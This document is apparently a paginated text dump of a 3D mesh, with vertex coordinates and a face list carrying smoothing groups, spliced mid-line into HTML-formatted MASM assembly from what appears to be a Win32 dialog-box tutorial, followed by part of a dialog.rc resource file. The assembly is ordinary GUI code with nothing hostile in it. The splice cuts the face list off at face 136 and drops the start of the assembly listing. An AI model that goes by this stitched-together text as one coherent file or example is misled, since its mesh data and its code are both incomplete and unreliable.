Vertex 246:  X: 149.131897     Y: -176.24614     Z: -19.924232
Vertex 247:  X: 158.23233     Y: -187.001144     Z: -14.088556
Vertex 248:  X: 222.937256     Y: -114.886833     Z: 0.00001
Vertex 249:  X: 217.749878     Y: -112.2136     Z: 14.08858
Vertex 250:  X: 205.22641     Y: -105.759857     Z: 19.924257
Vertex 251:  X: 192.702957     Y: -99.306107     Z: 14.088579
Vertex 252:  X: 187.515564     Y: -96.632881     Z: 0.000007
Vertex 253:  X: 192.702957     Y: -99.306107     Z: -14.088565
Vertex 254:  X: 205.22641     Y: -105.759857     Z: -19.924238
Vertex 255:  X: 217.749863     Y: -112.2136     Z: -14.088563
Vertex 256:  X: 0     Y: -209.644852     Z: -140.53125
Vertex 257:  X: -15.663151     Y: -204.255737     Z: -136.918762
Vertex 258:  X: -22.151039     Y: -191.245255     Z: -128.197449
Vertex 259:  X: -15.66315     Y: -178.234756     Z: -119.476128
Vertex 260:  X: 0.000002     Y: -172.845642     Z: -115.863632
Vertex 261:  X: 15.663153     Y: -178.234772     Z: -119.476128
Vertex 262:  X: 22.151039     Y: -191.245255     Z: -128.197449
Vertex 263:  X: 15.663153     Y: -204.255737     Z: -136.918762
Vertex 264:  X: 0     Y: -139.907639     Z: -210.061569
Vertex 265:  X: -15.663151     Y: -136.311172     Z: -204.661728
Vertex 266:  X: -22.151039     Y: -127.628555     Z: -191.625381
Vertex 267:  X: -15.66315     Y: -118.945938     Z: -178.589035
Vertex 268:  X: 0.000002     Y: -115.34948     Z: -173.189194
Vertex 269:  X: 15.663153     Y: -118.945938     Z: -178.589035
Vertex 270:  X: 22.151039     Y: -127.628555     Z: -191.625381
Vertex 271:  X: 15.663153     Y: -136.311172     Z: -204.661728
Vertex 272:  X: 0     Y: -48.870712     Z: -247.611893
Vertex 273:  X: -15.663151     Y: -47.614445     Z: -241.246811
Vertex 274:  X: -22.151039     Y: -44.581543     Z: -225.880081
Vertex 275:  X: -15.66315     Y: -41.548645     Z: -210.513382
Vertex 276:  X: 0.000002     Y: -40.292377     Z: -204.14827
Vertex 277:  X: 15.663153     Y: -41.548645     Z: -210.513382
Vertex 278:  X: 22.151039     Y: -44.581543     Z: -225.880081
Vertex 279:  X: 15.663153     Y: -47.614445     Z: -241.24678
Vertex 280:  X: 0     Y: 49.606331     Z: -247.465576
Vertex 281:  X: -15.663151     Y: 48.331154     Z: -241.104248
Vertex 282:  X: -22.151039     Y: 45.252605     Z: -225.746613
Vertex 283:  X: -15.66315     Y: 42.174049     Z: -210.388977
Vertex 284:  X: 0.000002     Y: 40.898872     Z: -204.027649
Vertex 285:  X: 15.663153     Y: 42.174049     Z: -210.388977
Vertex 286:  X: 22.151039     Y: 45.252605     Z: -225.746613
Vertex 287:  X: 15.663153     Y: 48.331154     Z: -241.104248
Vertex 288:  X: 0     Y: 140.531265     Z: -209.644836
Vertex 289:  X: -15.663151     Y: 136.918777     Z: -204.255737
Vertex 290:  X: -22.151039     Y: 128.197449     Z: -191.245239
Vertex 291:  X: -15.66315     Y: 119.476128     Z: -178.234741
Vertex 292:  X: 0.000002     Y: 115.863632     Z: -172.845642
Vertex 293:  X: 15.663153     Y: 119.476128     Z: -178.234772
Vertex 294:  X: 22.151039     Y: 128.197449     Z: -191.245239
Vertex 295:  X: 15.663153     Y: 136.918762     Z: -204.255737
Vertex 296:  X: 0     Y: 210.061569     Z: -139.907608
Vertex 297:  X: -15.663151     Y: 204.661728     Z: -136.311142
Vertex 298:  X: -22.151039     Y: 191.625381     Z: -127.62851
Vertex 299:  X: -15.66315     Y: 178.589035     Z: -118.9459

                                     Page 5



Vertex 300:  X: 0.000002     Y: 173.189194     Z: -115.349442
Vertex 301:  X: 15.663153     Y: 178.589035     Z: -118.9459
Vertex 302:  X: 22.151039     Y: 191.625381     Z: -127.62851
Vertex 303:  X: 15.663153     Y: 204.661728     Z: -136.311142
Vertex 304:  X: 0     Y: 247.611908     Z: -48.870678
Vertex 305:  X: -15.663151     Y: 241.246811     Z: -47.61441
Vertex 306:  X: -22.151039     Y: 225.880096     Z: -44.581512
Vertex 307:  X: -15.66315     Y: 210.513382     Z: -41.548615
Vertex 308:  X: 0.000002     Y: 204.148285     Z: -40.292347
Vertex 309:  X: 15.663153     Y: 210.513382     Z: -41.548615
Vertex 310:  X: 22.151039     Y: 225.880096     Z: -44.581512
Vertex 311:  X: 15.663153     Y: 241.246796     Z: -47.61441
Vertex 312:  X: 0     Y: 247.465561     Z: 49.606354
Vertex 313:  X: -15.663151     Y: 241.104218     Z: 48.331177
Vertex 314:  X: -22.151039     Y: 225.746597     Z: 45.252625
Vertex 315:  X: -15.66315     Y: 210.388962     Z: 42.174068
Vertex 316:  X: 0.000002     Y: 204.027634     Z: 40.898891
Vertex 317:  X: 15.663153     Y: 210.388962     Z: 42.174072
Vertex 318:  X: 22.151039     Y: 225.746597     Z: 45.252625
Vertex 319:  X: 15.663153     Y: 241.104218     Z: 48.331177
Vertex 320:  X: 0     Y: 209.644836     Z: 140.531265
Vertex 321:  X: -15.663151     Y: 204.255722     Z: 136.918777
Vertex 322:  X: -22.151039     Y: 191.245239     Z: 128.197464
Vertex 323:  X: -15.66315     Y: 178.234756     Z: 119.476135
Vertex 324:  X: 0.000002     Y: 172.845627     Z: 115.863647
Vertex 325:  X: 15.663153     Y: 178.234756     Z: 119.476135
Vertex 326:  X: 22.151039     Y: 191.245239     Z: 128.197464
Vertex 327:  X: 15.663153     Y: 204.255722     Z: 136.918777
Vertex 328:  X: 0     Y: 139.907593     Z: 210.061584
Vertex 329:  X: -15.663151     Y: 136.311127     Z: 204.661743
Vertex 330:  X: -22.151039     Y: 127.62851     Z: 191.625397
Vertex 331:  X: -15.66315     Y: 118.9459     Z: 178.58905
Vertex 332:  X: 0.000002     Y: 115.349442     Z: 173.189209
Vertex 333:  X: 15.663153     Y: 118.9459     Z: 178.58905
Vertex 334:  X: 22.151039     Y: 127.62851     Z: 191.625397
Vertex 335:  X: 15.663153     Y: 136.311127     Z: 204.661743
Vertex 336:  X: 0     Y: 48.870659     Z: 247.611908
Vertex 337:  X: -15.663151     Y: 47.614391     Z: 241.246826
Vertex 338:  X: -22.151039     Y: 44.581493     Z: 225.880096
Vertex 339:  X: -15.66315     Y: 41.548599     Z: 210.513397
Vertex 340:  X: 0.000002     Y: 40.292332     Z: 204.148285
Vertex 341:  X: 15.663153     Y: 41.548599     Z: 210.513397
Vertex 342:  X: 22.151039     Y: 44.581493     Z: 225.880096
Vertex 343:  X: 15.663153     Y: 47.614391     Z: 241.246796
Vertex 344:  X: 0     Y: -49.60638     Z: 247.465561
Vertex 345:  X: -15.663151     Y: -48.331203     Z: 241.104233
Vertex 346:  X: -22.151039     Y: -45.252647     Z: 225.746597
Vertex 347:  X: -15.66315     Y: -42.174091     Z: 210.388962
Vertex 348:  X: 0.000002     Y: -40.898911     Z: 204.027634
Vertex 349:  X: 15.663153     Y: -42.174091     Z: 210.388962
Vertex 350:  X: 22.151039     Y: -45.252647     Z: 225.746597
Vertex 351:  X: 15.663153     Y: -48.3312     Z: 241.104233
Vertex 352:  X: 0     Y: -140.531311     Z: 209.644821
Vertex 353:  X: -15.663151     Y: -136.918808     Z: 204.255692
Vertex 354:  X: -22.151039     Y: -128.197495     Z: 191.245224
Vertex 355:  X: -15.66315     Y: -119.476166     Z: 178.234726
Vertex 356:  X: 0.000002     Y: -115.86367     Z: 172.845596
Vertex 357:  X: 15.663153     Y: -119.476166     Z: 178.234726
Vertex 358:  X: 22.151039     Y: -128.197495     Z: 191.245224
Vertex 359:  X: 15.663153     Y: -136.918808     Z: 204.255692
Vertex 360:  X: 0     Y: -210.061584     Z: 139.907593

                                     Page 6



Vertex 361:  X: -15.663151     Y: -204.661743     Z: 136.311127
Vertex 362:  X: -22.151039     Y: -191.625397     Z: 127.628502
Vertex 363:  X: -15.66315     Y: -178.58905     Z: 118.945885
Vertex 364:  X: 0.000002     Y: -173.189209     Z: 115.349426
Vertex 365:  X: 15.663153     Y: -178.58905     Z: 118.945885
Vertex 366:  X: 22.151039     Y: -191.625397     Z: 127.628502
Vertex 367:  X: 15.663153     Y: -204.661743     Z: 136.311127
Vertex 368:  X: 0     Y: -247.611908     Z: 48.870678
Vertex 369:  X: -15.663151     Y: -241.246811     Z: 47.61441
Vertex 370:  X: -22.151039     Y: -225.880096     Z: 44.581512
Vertex 371:  X: -15.66315     Y: -210.513382     Z: 41.548615
Vertex 372:  X: 0.000002     Y: -204.148285     Z: 40.292347
Vertex 373:  X: 15.663153     Y: -210.513382     Z: 41.548615
Vertex 374:  X: 22.151039     Y: -225.880096     Z: 44.581512
Vertex 375:  X: 15.663153     Y: -241.246796     Z: 47.61441
Vertex 376:  X: 0     Y: -247.465576     Z: -49.606331
Vertex 377:  X: -15.663151     Y: -241.104233     Z: -48.331154
Vertex 378:  X: -22.151039     Y: -225.746613     Z: -45.252605
Vertex 379:  X: -15.66315     Y: -210.388977     Z: -42.174049
Vertex 380:  X: 0.000002     Y: -204.027634     Z: -40.898872
Vertex 381:  X: 15.663153     Y: -210.388977     Z: -42.174049
Vertex 382:  X: 22.151039     Y: -225.746613     Z: -45.252605
Vertex 383:  X: 15.663153     Y: -241.104233     Z: -48.331154
Face list:
Face 0:    A:0 B:9 C:1 AB:0 BC:1 CA:1
Smoothing:  1
Face 1:    A:0 B:8 C:9 AB:1 BC:1 CA:0
Smoothing:  1
Face 2:    A:1 B:10 C:2 AB:0 BC:1 CA:1
Smoothing:  2
Face 3:    A:1 B:9 C:10 AB:1 BC:1 CA:0
Smoothing:  2
Face 4:    A:2 B:11 C:3 AB:0 BC:1 CA:1
Smoothing:  3
Face 5:    A:2 B:10 C:11 AB:1 BC:1 CA:0
Smoothing:  3
Face 6:    A:3 B:12 C:4 AB:0 BC:1 CA:1
Smoothing:  4
Face 7:    A:3 B:11 C:12 AB:1 BC:1 CA:0
Smoothing:  4
Face 8:    A:4 B:13 C:5 AB:0 BC:1 CA:1
Smoothing:  5
Face 9:    A:4 B:12 C:13 AB:1 BC:1 CA:0
Smoothing:  5
Face 10:    A:5 B:14 C:6 AB:0 BC:1 CA:1
Smoothing:  6
Face 11:    A:5 B:13 C:14 AB:1 BC:1 CA:0
Smoothing:  6
Face 12:    A:6 B:15 C:7 AB:0 BC:1 CA:1
Smoothing:  7
Face 13:    A:6 B:14 C:15 AB:1 BC:1 CA:0
Smoothing:  7
Face 14:    A:7 B:8 C:0 AB:0 BC:1 CA:1
Smoothing:  8
Face 15:    A:7 B:15 C:8 AB:1 BC:1 CA:0
Smoothing:  8
Face 16:    A:8 B:17 C:9 AB:0 BC:1 CA:1
Smoothing:  9
Face 17:    A:8 B:16 C:17 AB:1 BC:1 CA:0
Smoothing:  9
Face 18:    A:9 B:18 C:10 AB:0 BC:1 CA:1

                                     Page 7



Smoothing:  10
Face 19:    A:9 B:17 C:18 AB:1 BC:1 CA:0
Smoothing:  10
Face 20:    A:10 B:19 C:11 AB:0 BC:1 CA:1
Smoothing:  11
Face 21:    A:10 B:18 C:19 AB:1 BC:1 CA:0
Smoothing:  11
Face 22:    A:11 B:20 C:12 AB:0 BC:1 CA:1
Smoothing:  12
Face 23:    A:11 B:19 C:20 AB:1 BC:1 CA:0
Smoothing:  12
Face 24:    A:12 B:21 C:13 AB:0 BC:1 CA:1
Smoothing:  13
Face 25:    A:12 B:20 C:21 AB:1 BC:1 CA:0
Smoothing:  13
Face 26:    A:13 B:22 C:14 AB:0 BC:1 CA:1
Smoothing:  14
Face 27:    A:13 B:21 C:22 AB:1 BC:1 CA:0
Smoothing:  14
Face 28:    A:14 B:23 C:15 AB:0 BC:1 CA:1
Smoothing:  15
Face 29:    A:14 B:22 C:23 AB:1 BC:1 CA:0
Smoothing:  15
Face 30:    A:15 B:16 C:8 AB:0 BC:1 CA:1
Smoothing:  16
Face 31:    A:15 B:23 C:16 AB:1 BC:1 CA:0
Smoothing:  16
Face 32:    A:16 B:25 C:17 AB:0 BC:1 CA:1
Smoothing:  17
Face 33:    A:16 B:24 C:25 AB:1 BC:1 CA:0
Smoothing:  17
Face 34:    A:17 B:26 C:18 AB:0 BC:1 CA:1
Smoothing:  18
Face 35:    A:17 B:25 C:26 AB:1 BC:1 CA:0
Smoothing:  18
Face 36:    A:18 B:27 C:19 AB:0 BC:1 CA:1
Smoothing:  19
Face 37:    A:18 B:26 C:27 AB:1 BC:1 CA:0
Smoothing:  19
Face 38:    A:19 B:28 C:20 AB:0 BC:1 CA:1
Smoothing:  20
Face 39:    A:19 B:27 C:28 AB:1 BC:1 CA:0
Smoothing:  20
Face 40:    A:20 B:29 C:21 AB:0 BC:1 CA:1
Smoothing:  21
Face 41:    A:20 B:28 C:29 AB:1 BC:1 CA:0
Smoothing:  21
Face 42:    A:21 B:30 C:22 AB:0 BC:1 CA:1
Smoothing:  22
Face 43:    A:21 B:29 C:30 AB:1 BC:1 CA:0
Smoothing:  22
Face 44:    A:22 B:31 C:23 AB:0 BC:1 CA:1
Smoothing:  23
Face 45:    A:22 B:30 C:31 AB:1 BC:1 CA:0
Smoothing:  23
Face 46:    A:23 B:24 C:16 AB:0 BC:1 CA:1
Smoothing:  24
Face 47:    A:23 B:31 C:24 AB:1 BC:1 CA:0
Smoothing:  24
Face 48:    A:24 B:33 C:25 AB:0 BC:1 CA:1
Smoothing:  25

                                     Page 8



Face 49:    A:24 B:32 C:33 AB:1 BC:1 CA:0
Smoothing:  25
Face 50:    A:25 B:34 C:26 AB:0 BC:1 CA:1
Smoothing:  26
Face 51:    A:25 B:33 C:34 AB:1 BC:1 CA:0
Smoothing:  26
Face 52:    A:26 B:35 C:27 AB:0 BC:1 CA:1
Smoothing:  27
Face 53:    A:26 B:34 C:35 AB:1 BC:1 CA:0
Smoothing:  27
Face 54:    A:27 B:36 C:28 AB:0 BC:1 CA:1
Smoothing:  28
Face 55:    A:27 B:35 C:36 AB:1 BC:1 CA:0
Smoothing:  28
Face 56:    A:28 B:37 C:29 AB:0 BC:1 CA:1
Smoothing:  29
Face 57:    A:28 B:36 C:37 AB:1 BC:1 CA:0
Smoothing:  29
Face 58:    A:29 B:38 C:30 AB:0 BC:1 CA:1
Smoothing:  30
Face 59:    A:29 B:37 C:38 AB:1 BC:1 CA:0
Smoothing:  30
Face 60:    A:30 B:39 C:31 AB:0 BC:1 CA:1
Smoothing:  31
Face 61:    A:30 B:38 C:39 AB:1 BC:1 CA:0
Smoothing:  31
Face 62:    A:31 B:32 C:24 AB:0 BC:1 CA:1
Smoothing:  32
Face 63:    A:31 B:39 C:32 AB:1 BC:1 CA:0
Smoothing:  32
Face 64:    A:32 B:41 C:33 AB:0 BC:1 CA:1
Smoothing:  1
Face 65:    A:32 B:40 C:41 AB:1 BC:1 CA:0
Smoothing:  1
Face 66:    A:33 B:42 C:34 AB:0 BC:1 CA:1
Smoothing:  2
Face 67:    A:33 B:41 C:42 AB:1 BC:1 CA:0
Smoothing:  2
Face 68:    A:34 B:43 C:35 AB:0 BC:1 CA:1
Smoothing:  3
Face 69:    A:34 B:42 C:43 AB:1 BC:1 CA:0
Smoothing:  3
Face 70:    A:35 B:44 C:36 AB:0 BC:1 CA:1
Smoothing:  4
Face 71:    A:35 B:43 C:44 AB:1 BC:1 CA:0
Smoothing:  4
Face 72:    A:36 B:45 C:37 AB:0 BC:1 CA:1
Smoothing:  5
Face 73:    A:36 B:44 C:45 AB:1 BC:1 CA:0
Smoothing:  5
Face 74:    A:37 B:46 C:38 AB:0 BC:1 CA:1
Smoothing:  6
Face 75:    A:37 B:45 C:46 AB:1 BC:1 CA:0
Smoothing:  6
Face 76:    A:38 B:47 C:39 AB:0 BC:1 CA:1
Smoothing:  7
Face 77:    A:38 B:46 C:47 AB:1 BC:1 CA:0
Smoothing:  7
Face 78:    A:39 B:40 C:32 AB:0 BC:1 CA:1
Smoothing:  8
Face 79:    A:39 B:47 C:40 AB:1 BC:1 CA:0

                                     Page 9



Smoothing:  8
Face 80:    A:40 B:49 C:41 AB:0 BC:1 CA:1
Smoothing:  9
Face 81:    A:40 B:48 C:49 AB:1 BC:1 CA:0
Smoothing:  9
Face 82:    A:41 B:50 C:42 AB:0 BC:1 CA:1
Smoothing:  10
Face 83:    A:41 B:49 C:50 AB:1 BC:1 CA:0
Smoothing:  10
Face 84:    A:42 B:51 C:43 AB:0 BC:1 CA:1
Smoothing:  11
Face 85:    A:42 B:50 C:51 AB:1 BC:1 CA:0
Smoothing:  11
Face 86:    A:43 B:52 C:44 AB:0 BC:1 CA:1
Smoothing:  12
Face 87:    A:43 B:51 C:52 AB:1 BC:1 CA:0
Smoothing:  12
Face 88:    A:44 B:53 C:45 AB:0 BC:1 CA:1
Smoothing:  13
Face 89:    A:44 B:52 C:53 AB:1 BC:1 CA:0
Smoothing:  13
Face 90:    A:45 B:54 C:46 AB:0 BC:1 CA:1
Smoothing:  14
Face 91:    A:45 B:53 C:54 AB:1 BC:1 CA:0
Smoothing:  14
Face 92:    A:46 B:55 C:47 AB:0 BC:1 CA:1
Smoothing:  15
Face 93:    A:46 B:54 C:55 AB:1 BC:1 CA:0
Smoothing:  15
Face 94:    A:47 B:48 C:40 AB:0 BC:1 CA:1
Smoothing:  16
Face 95:    A:47 B:55 C:48 AB:1 BC:1 CA:0
Smoothing:  16
Face 96:    A:48 B:57 C:49 AB:0 BC:1 CA:1
Smoothing:  17
Face 97:    A:48 B:56 C:57 AB:1 BC:1 CA:0
Smoothing:  17
Face 98:    A:49 B:58 C:50 AB:0 BC:1 CA:1
Smoothing:  18
Face 99:    A:49 B:57 C:58 AB:1 BC:1 CA:0
Smoothing:  18
Face 100:    A:50 B:59 C:51 AB:0 BC:1 CA:1
Smoothing:  19
Face 101:    A:50 B:58 C:59 AB:1 BC:1 CA:0
Smoothing:  19
Face 102:    A:51 B:60 C:52 AB:0 BC:1 CA:1
Smoothing:  20
Face 103:    A:51 B:59 C:60 AB:1 BC:1 CA:0
Smoothing:  20
Face 104:    A:52 B:61 C:53 AB:0 BC:1 CA:1
Smoothing:  21
Face 105:    A:52 B:60 C:61 AB:1 BC:1 CA:0
Smoothing:  21
Face 106:    A:53 B:62 C:54 AB:0 BC:1 CA:1
Smoothing:  22
Face 107:    A:53 B:61 C:62 AB:1 BC:1 CA:0
Smoothing:  22
Face 108:    A:54 B:63 C:55 AB:0 BC:1 CA:1
Smoothing:  23
Face 109:    A:54 B:62 C:63 AB:1 BC:1 CA:0
Smoothing:  23

                                     Page 10



Face 110:    A:55 B:56 C:48 AB:0 BC:1 CA:1
Smoothing:  24
Face 111:    A:55 B:63 C:56 AB:1 BC:1 CA:0
Smoothing:  24
Face 112:    A:56 B:65 C:57 AB:0 BC:1 CA:1
Smoothing:  25
Face 113:    A:56 B:64 C:65 AB:1 BC:1 CA:0
Smoothing:  25
Face 114:    A:57 B:66 C:58 AB:0 BC:1 CA:1
Smoothing:  26
Face 115:    A:57 B:65 C:66 AB:1 BC:1 CA:0
Smoothing:  26
Face 116:    A:58 B:67 C:59 AB:0 BC:1 CA:1
Smoothing:  27
Face 117:    A:58 B:66 C:67 AB:1 BC:1 CA:0
Smoothing:  27
Face 118:    A:59 B:68 C:60 AB:0 BC:1 CA:1
Smoothing:  28
Face 119:    A:59 B:67 C:68 AB:1 BC:1 CA:0
Smoothing:  28
Face 120:    A:60 B:69 C:61 AB:0 BC:1 CA:1
Smoothing:  29
Face 121:    A:60 B:68 C:69 AB:1 BC:1 CA:0
Smoothing:  29
Face 122:    A:61 B:70 C:62 AB:0 BC:1 CA:1
Smoothing:  30
Face 123:    A:61 B:69 C:70 AB:1 BC:1 CA:0
Smoothing:  30
Face 124:    A:62 B:71 C:63 AB:0 BC:1 CA:1
Smoothing:  31
Face 125:    A:62 B:70 C:71 AB:1 BC:1 CA:0
Smoothing:  31
Face 126:    A:63 B:64 C:56 AB:0 BC:1 CA:1
Smoothing:  32
Face 127:    A:63 B:71 C:64 AB:1 BC:1 CA:0
Smoothing:  32
Face 128:    A:64 B:73 C:65 AB:0 BC:1 CA:1
Smoothing:  1
Face 129:    A:64 B:72 C:73 AB:1 BC:1 CA:0
Smoothing:  1
Face 130:    A:65 B:74 C:66 AB:0 BC:1 CA:1
Smoothing:  2
Face 131:    A:65 B:73 C:74 AB:1 BC:1 CA:0
Smoothing:  2
Face 132:    A:66 B:75 C:67 AB:0 BC:1 CA:1
Smoothing:  3
Face 133:    A:66 B:74 C:75 AB:1 BC:1 CA:0
Smoothing:  3
Face 134:    A:67 B:76 C:68 AB:0 BC:1 CA:1
Smoothing:  4
Face 135:    A:67 B:75 C:76 AB:1 BC:1 CA:0
Smoothing:  4
Face 136:    A:68 B:77&nbsp;&nbsp;&nbsp; mov&nbsp; eax, OFFSET DlgProc</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp; invoke DialogBoxParam,
hInst, ADDR DlgName,NULL, eax,NULL</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp; ret</FONT></B>
<BR><B><FONT COLOR="#000000">WinMain endp</FONT></B>

<P><B><FONT COLOR="#000000">DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM,
lParam:LPARAM</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp; eax,uMsg</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp; .IF eax==WM_INITDIALOG</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke GetDlgItem, hWnd,IDC_EDIT</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke SetFocus,eax</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp; .ELSEIF eax==WM_CLOSE</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp; .ELSEIF eax==WM_COMMAND</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
mov eax,wParam</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.IF lParam==0</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.IF ax==IDM_GETTEXT</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ELSEIF ax==IDM_CLEAR</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ELSEIF ax==IDM_EXIT</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke EndDialog, hWnd,NULL</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ENDIF</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ELSE</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.IF ax==IDC_BUTTON</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
shr eax,16</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.IF ax==BN_CLICKED</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ENDIF</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ELSEIF ax==IDC_EXIT</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
shr eax,16</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.IF ax==BN_CLICKED</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ENDIF</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ENDIF</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.ENDIF</FONT></B>
<BR><B><FONT COLOR="#000000">&nbsp;&nbsp;&nbsp; .ELSE</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
mov eax,FALSE</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ret</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp; .ENDIF</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp; mov eax,TRUE</FONT></B>
<BR><B><FONT COLOR="#006600">&nbsp;&nbsp;&nbsp; ret</FONT></B>
<BR><B><FONT COLOR="#000000">DlgProc endp</FONT></B>
<BR><B><FONT COLOR="#000000">end start</FONT></B>
<BR>
<HR WIDTH="100%">
<CENTER><B><FONT COLOR="#CC0000">dialog.rc (part 2)</FONT></B></CENTER>

<HR WIDTH="100%">
<BR><B><FONT COLOR="#000000">#include "c:\masm\include\winuser.h"</FONT></B>

<P><B><FONT COLOR="#000000">#define IDC_EDIT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
3000</FONT></B>
<BR><B><FONT COLOR="#000000">#define IDC_BUTTON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
3001</FONT></B>
